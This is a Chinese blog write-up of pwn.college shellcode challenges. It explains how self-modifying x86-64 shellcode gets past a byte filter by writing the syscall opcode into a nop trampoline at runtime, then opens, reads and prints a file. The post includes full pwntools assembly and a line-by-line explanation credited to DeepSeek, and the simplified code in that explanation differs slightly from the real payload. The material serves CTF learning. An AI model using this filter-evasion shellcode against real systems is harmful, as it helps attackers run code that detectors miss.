ShellCode绕过技巧

自修改ShellCode代码

示例选用pwncollege的syscall smugler,题目中提示了会对一些用户输入的shellcode中的十六进制字符进行过滤
image

下面是对这些十六进制串的解释:

image

以下是处理逻辑:

image

这里local_24是对用户输入shellcode做滑动窗口检测的指针,在用户输入后shellcode执行前对shellcode做两个字节每窗口的检测,如果shellcode中任意两字节长度字串为三种系统调用中的一个,就会被发现然后结束程序

自修改代码的编写

以下是完整的shellcode,编写分为几个部分

点击查看代码
sc = asm(f'''
    /* smuggle the syscall opcode into the trampoline, one byte per store */
    lea  rax, [rip+marker]
    mov  byte ptr [rax], 0x0f
    mov  byte ptr [rax+1], 0x05
 
    /* open(path, O_RDONLY, 0) */
    mov  edi, {PAGE + PATH_OFF}
    xor  esi, esi
    xor  edx, edx
    mov  eax, 2
    call do_syscall
 
    /* read(fd, buf, 0x200) */
    mov  edi, eax
    mov  esi, {hex(PAGE + BUF_OFF)}
    mov  edx, 0x200
    xor  eax, eax
    call do_syscall
 
    /* write(1, buf, n) */
    mov  edx, eax
    mov  edi, 1
    mov  esi, {hex(PAGE + BUF_OFF)}
    mov  eax, 1
    call do_syscall
 
    /* exit(0) */
    xor  edi, edi
    mov  eax, 60
    call do_syscall
 
do_syscall:
marker:
    nop
    nop                  /* patched to 0f 05 (syscall) at runtime */
    ret
''')

以下是deepseek生成内容

逐条指令拆解自修改 shellcode

我把这个 payload 从头到尾、一条指令一条指令地过一遍,说明每一步 CPU 状态、内存状态发生了什么。

先给出完整逻辑(简化版,忽略具体 syscall 参数):

; ============ 阶段 0:入口 ============
main:
    lea  rax, [rip + marker]
    mov  byte ptr [rax],     0x0f
    mov  byte ptr [rax+1],   0x05

    ; ============ 阶段 1:调用各系统调用 ============
    mov  rax, 2            ; sys_open
    lea  rdi, [rip + path]
    mov  rsi, 0
    mov  rdx, 0
    call do_syscall

    mov  rax, 0            ; sys_read
    mov  rdi, 3
    lea  rsi, [rip + buf]
    mov  rdx, 0x100
    call do_syscall

    mov  rax, 1            ; sys_write
    mov  rdi, 1
    lea  rsi, [rip + buf]
    mov  rdx, 0x100
    call do_syscall

    mov  rax, 60           ; sys_exit
    mov  rdi, 0
    call do_syscall

; ============ 阶段 2:蹦床 ============
marker:
    nop                    ; 0x90  ← 运行时被改成 0x0f
    nop                    ; 0x90  ← 运行时被改成 0x05
    ret                    ; 0xc3

do_syscall:
    call marker            ; 跳到蹦床执行 syscall; ret
    ret                    ; 回到调用点

下面逐条讲。


阶段 0:把 syscall 拼进内存

① lea rax, [rip + marker]

lea  rax, [rip + marker]
  • 作用: 把 marker 标签的运行时地址算进 rax。
  • lea = "load effective address",它不做内存访问,只做地址算术。
  • [rip + marker] 是 RIP 相对寻址:rip 是当前指令地址,加上 marker 相对偏移,得到蹦床的绝对地址。
  • 结果: rax = &marker(蹦床那 3 个字节的起始地址)。

为什么要 lea 而不是 mov rax, marker?因为 shellcode 位置不固定(mmap 到哪就是哪),用 RIP 相对才能拿到正确地址。

② mov byte ptr [rax], 0x0f

mov  byte ptr [rax], 0x0f
  • 作用: 往 rax 指向的内存写一个字节 0x0f。
  • byte ptr 明确告诉汇编器:只写 1 字节(不是 4 字节、8 字节)。
  • 结果: marker[0] 从 0x90(nop)变成 0x0f。

内存变化:

marker:  [0x90] [0x90] [0xc3]      ← 之前
          ↓
marker:  [0x0f] [0x90] [0xc3]      ← 现在

③ mov byte ptr [rax+1], 0x05

mov  byte ptr [rax+1], 0x05
  • 作用: 往 rax+1(下一个字节)写 0x05。
  • 结果: marker[1] 从 0x90 变成 0x05。

内存变化:

marker:  [0x0f] [0x90] [0xc3]
          ↓
marker:  [0x0f] [0x05] [0xc3]      ← 现在是 syscall; ret 了!

到这里,蹦床已经在内存里"变成"了 syscall; ret。

关键点:输入流里这两条 mov 的机器码是 c6 00 0f 和 c6 40 01 05。
立即数 0x0f 和 0x05 是分在两处、不连续的,所以静态扫描永远看不到 0f 05。


阶段 1:调用系统调用

这一段套路固定:设好寄存器 → call do_syscall。

④ mov rax, 2 + lea rdi, [rip+path] + mov rsi, 0 + mov rdx, 0

mov  rax, 2              ; 系统调用号 2 = sys_open
lea  rdi, [rip + path]   ; 第一个参数:path 字符串地址
mov  rsi, 0              ; 第二个参数:flags = O_RDONLY
mov  rdx, 0              ; 第三个参数:mode = 0
  • Linux x86-64 的系统调用约定:

    寄存器 用途
    rax 系统调用号
    rdi 参数 1
    rsi 参数 2
    rdx 参数 3
  • rax=2 表示 open;rdi 指向文件路径;rsi=0 表示只读。

⑤ call do_syscall

call do_syscall
  • 作用: 跳到 do_syscall 子程序。
  • call 会把返回地址(call 下一条指令的地址)压栈,然后跳转。
  • 结果: 控制权进入 do_syscall。

⑥ do_syscall 里的 call marker

do_syscall:
    call marker
  • 作用: 跳到 marker(蹦床)。
  • 又压一次返回地址(do_syscall 里 call marker 的下一条指令地址)。
  • 结果: 控制权进入蹦床。

⑦ 蹦床:syscall(原本是 nop)

marker:
    0f 05      ; syscall   ← 运行时被拼出来的
    c3         ; ret
  • CPU 取到 0f 05,执行真正的系统调用。
  • 此刻 rax=2, rdi=path, rsi=0, rdx=0,所以内核执行 open(path, O_RDONLY)。
  • 返回值(文件描述符)放在 rax 里。

⑧ 蹦床:ret

ret
  • 弹出刚才 call marker 压的返回地址,回到 do_syscall 的 call marker 下一条。

⑨ do_syscall 里的 ret

do_syscall:
    call marker
    ret            ; ← 回到调用 do_syscall 的地方
  • 再弹一次栈,回到主流程 call do_syscall 的下一条。
  • 至此一次系统调用完成,rax 里带着返回值。

后面 read(rax=0)、write(rax=1)、exit(rax=60)都是同样的流程:
设寄存器 → call do_syscall → 蹦床执行 syscall; ret → 返回。


阶段 2:退出

⑩ mov rax, 60 + mov rdi, 0 + call do_syscall

mov  rax, 60    ; sys_exit
mov  rdi, 0     ; 退出码 0
call do_syscall
  • rax=60 = exit,rdi=0 = 退出码。
  • 这次 syscall 执行后进程直接结束,不会返回。

整体执行流一览

main
 ├─ lea rax, [rip+marker]        ; rax = &marker
 ├─ mov [rax],   0x0f            ; marker[0] = 0f
 ├─ mov [rax+1], 0x05            ; marker[1] = 05   → 蹦床变成 syscall;ret
 │
 ├─ mov rax,2 / rdi,rsi,rdx      ; 设 open 参数
 ├─ call do_syscall ──┐
 │                    └─ call marker ──┐
 │                                      └─ syscall  (open)
 │                                      └─ ret   → 回 do_syscall
 │                    ┌─────────────────┘
 │                    └─ ret   → 回 main
 │
 ├─ mov rax,0 / ...              ; 设 read 参数
 ├─ call do_syscall ──→ ... ──→ syscall (read)
 │
 ├─ mov rax,1 / ...              ; 设 write 参数
 ├─ call do_syscall ──→ ... ──→ syscall (write)
 │
 └─ mov rax,60 / rdi,0           ; 设 exit 参数
    call do_syscall ──→ ... ──→ syscall (exit)  → 进程结束

为什么每一步都"合法"(不含被禁字节)

指令 机器码 含 0f 05?
lea rax,[rip+marker] 48 8d 05 ... ❌
mov byte ptr [rax], 0x0f c6 00 0f ❌(0f 前面是 00)
mov byte ptr [rax+1], 0x05 c6 40 01 05 ❌(05 前面是 01)
nop 90 ❌
ret c3 ❌
call marker e8 ... ❌

只有运行时蹦床内存里才出现 0f 05——而过滤器只在输入阶段扫描,扫不到它。


一句话总结

lea 拿地址 → 两条 mov byte ptr 把 0f 和 05 分别写进蹦床 → 蹦床在内存里"变成" syscall; ret → 之后每个系统调用都靠 call do_syscall 跳到蹦床执行 → ret 返回。输入流全程无 0f 05,syscall 只在运行时内存里诞生。

自修改代码的约束

自修改内容必须在有RWX的页上进行,下一题syscall-shenanigans通过mmap给了两个页放shellcode,但是其中一个页在执行完过滤器后被通过mprotect移除了写权限,所以自修改代码只能放在第二页,在偏移 0x1080(属于第二页)放 nop; nop; ret 作为占位符

shellcode内容如下

点击查看代码
sc = asm(f'''
    /* smuggle the syscall opcode into the second-page trampoline;
       rbx keeps its address since call <abs> would need a relocation */
    mov  ebx, {hex(MARKER)}
    mov  byte ptr [rbx], 0x0f
    mov  byte ptr [rbx+1], 0x05

    /* open(path, O_RDONLY, 0) */
    mov  edi, {hex(PAGE + PATH_OFF)}
    xor  esi, esi
    xor  edx, edx
    mov  eax, 2
    call rbx

    /* read(fd, buf, 0x200) */
    mov  edi, eax
    mov  esi, {hex(BUF)}
    mov  edx, 0x200
    xor  eax, eax
    call rbx

    /* write(1, buf, n) */
    mov  edx, eax
    mov  edi, 1
    mov  esi, {hex(BUF)}
    mov  eax, 1
    call rbx

    /* exit(0) */
    xor  edi, edi
    mov  eax, 60
    call rbx
''')
sc = sc.ljust(PATH_OFF, b'\x90') + path + b'\x00'
sc = sc.ljust(MARK_OFF, b'\x90') + b'\x90\x90\xc3'   # nop;nop -> patched to syscall, then ret

posted on 2026-10-08 09:31  d0ubleU0x00  阅读(5)  评论(0)    收藏  举报

导航